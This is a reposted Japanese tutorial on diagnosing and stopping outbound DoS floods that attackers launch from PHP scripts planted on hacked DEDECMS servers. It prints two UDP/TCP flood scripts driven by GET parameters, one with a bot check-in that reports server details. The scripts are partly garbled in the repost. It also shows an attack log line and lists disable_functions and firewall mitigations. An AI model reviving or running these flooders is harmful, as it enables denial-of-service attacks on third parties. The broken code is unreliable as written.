ホームページ >バックエンド開発 >PHPチュートリアル >PHPのアウトソーシング契約によるサーバークラッシュに対する究極の解決策を共有

PHPのアウトソーシング契約によるサーバークラッシュに対する究極の解決策を共有

WBOY
WBOYオリジナル
2016-06-13 13:24:541103ブラウズ

PHP アウトソーシング契約によって引き起こされるサーバー クラッシュに対する究極の解決策を共有する

PHP アウトソーシングのアウトソーシングによって引き起こされるサーバー クラッシュに対する究極の解決策を共有
2011 年 12 月 28 日
DEDECMS アウトソーシング PHP アウトソーシングによって引き起こされるサーバー クラッシュに対する究極の解決策をまとめたもので、お客様がサーバーの問題を解決し、維持するのに役立つことを願っています。より良い Web サイトの実行
1. PHP アウトバウンド パケット分析
PHP コードを使用してソケットを呼び出し、サーバーのネットワークを直接使用して他の IP を攻撃します。 一般的なコードは次のとおりです。
以下はコード スニペットです。 🎜> $packets = 0 ;
$ip = $_GET['ip'];
set_time_limit(0); ;
$exec_time = $_GET['time'];
$time = time();
print 'ポート $rand
$max_time = $ time+$exec_time;
for($i=0;$i $max_time){
ブレーク;
}
$fp = fsockopen('udp://$ip', $rand, $ errno, $errstr, 5 );
if($fp){
fwrite($fp, $out);
fclose($fp); with
$packets (' .round(($packets*65)/1024, 2) . ' mB) パケット平均 '.
round($exec_time, 2) ' packets/s \n ';
?>
2. パフォーマンス特性
IIS がオンになるとすぐに、サーバーの送信帯域幅が使い果たされます。つまり、サーバーは常にパケットを送信します。その他は、DDOS による攻撃とは異なります。DDOS は、サーバーが大量のデータ パケットを継続的に受信することを意味します。
最近、DEDECMS の脆弱性により、多くのサーバーでこの問題が発生しています。
ログ
C:WindowsSystem32LogFilesHTTPERRhttperr...log を開き、今日の時刻のファイルを開くことができます。
次のようなレコードがあります:
2011-04-26 06:37: 28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 無効 30_FreeHost_1
最後の 3 項目 無効d 30_FreeHost_1
783はこれですIIS ID のステーション
30_FreeHost_1 はプールです
3. 解決策
1. Web サイトを見つけて、上記のように停止します。または、プールを停止して IIS を再起動します
2. IP で無効にします。ポリシーまたはファイアウォール すべての UDP が送信されます
この問題を解決するには、ハッカーがこの IP を攻撃しない限り、UDP が特定の DNS サーバー IP (8.8.8.8 など) にのみアクセスするように制限するように IP ポリシーを調整することもできます。は無効になります。ネットワーク カード DNS でのみ認識されている DNS IP を設定し、それを公開せずに、IP ポリシーの udp オープン部分を呼び出して問題を解決できます。ポリシーをダブルクリックして「開く」を選択し、開いている 2 つの udp レコードのいずれかを削除します。予約済みのレコードをダブルクリックして、ソース アドレスから任意のアドレス、ターゲット アドレス「この IP は次の IP です」に変更します。 8.8.8.8 などの独自の DNS IP に設定します。保存すれば完了です)
3. SQL インターセプトと URL インターセプトで、キーワード port= をインターセプトします (他のキーワードは削除できます)。 )
4. winphp.ini の変更や IIS の再起動など、上記のコードを直接禁止することもできます
ignore_user_abort = On
(直前の ; 番号を削除する必要があることに注意してください)
disable_functions = exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen, gzinflate,
最後に
を追加します fsockopen, set_time_limit
ただし、これにより
さらに、ハッカーによって侵入される可能性がある場合、これはサーバーのセキュリティが良好であることも示しています。権限を直接昇格するだけで、DOS で他に何をする必要がありますか?

以下は、コード スニペットです:
$host = $ _GET['host'];
$port = $ _GET['ポート'];
$exec_time = $_GET['time'];
ignore_user_abort(True) ; or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])0 ){
echo $_GET['rat']。 $_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.
php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['
終了;
}
$max_time = time()+$exec_time;
$packets++; 🎜> if(time() > $max_time または $exec_time != 69){
Break;
}
$fp = fsockopen( 'tcp://$host', $port, $errno , $errstr, 0);
}
?>
同様に、次の解決策も採用できます:
1.また、winphp.ini を変更して IIS を再起動するなど、上記のコードを直接無効にします。
ignore_user_abort = オン
(前の「;」記号を削除する必要があることに注意してください)
disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open ,curl_exec,multi_exec,dl,chmod,stream_socket_server 、popepassthru、pfsockopen、gzinflate、
最後に
を追加します。 fsockopen,set_time_limit
ただし、これにより多くの PHP プログラムが異常動作する可能性があります。顧客にスペースを提供している IDC の場合、機能を無効にするとクライアント プログラムが実行できなくなる可能性があるため、一般的にはこのようになります。この方法は使用しないでください
2. IP ポリシーですべての外部 TCP パケットを禁止しますが、収集機能が無効になるため、メイン制御サーバーでは使用できません。
3. キーワード tcp: または udp: を使用してサーバー上のすべての PHP ファイルを検索し、攻撃ファイルを見つけて削除します。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。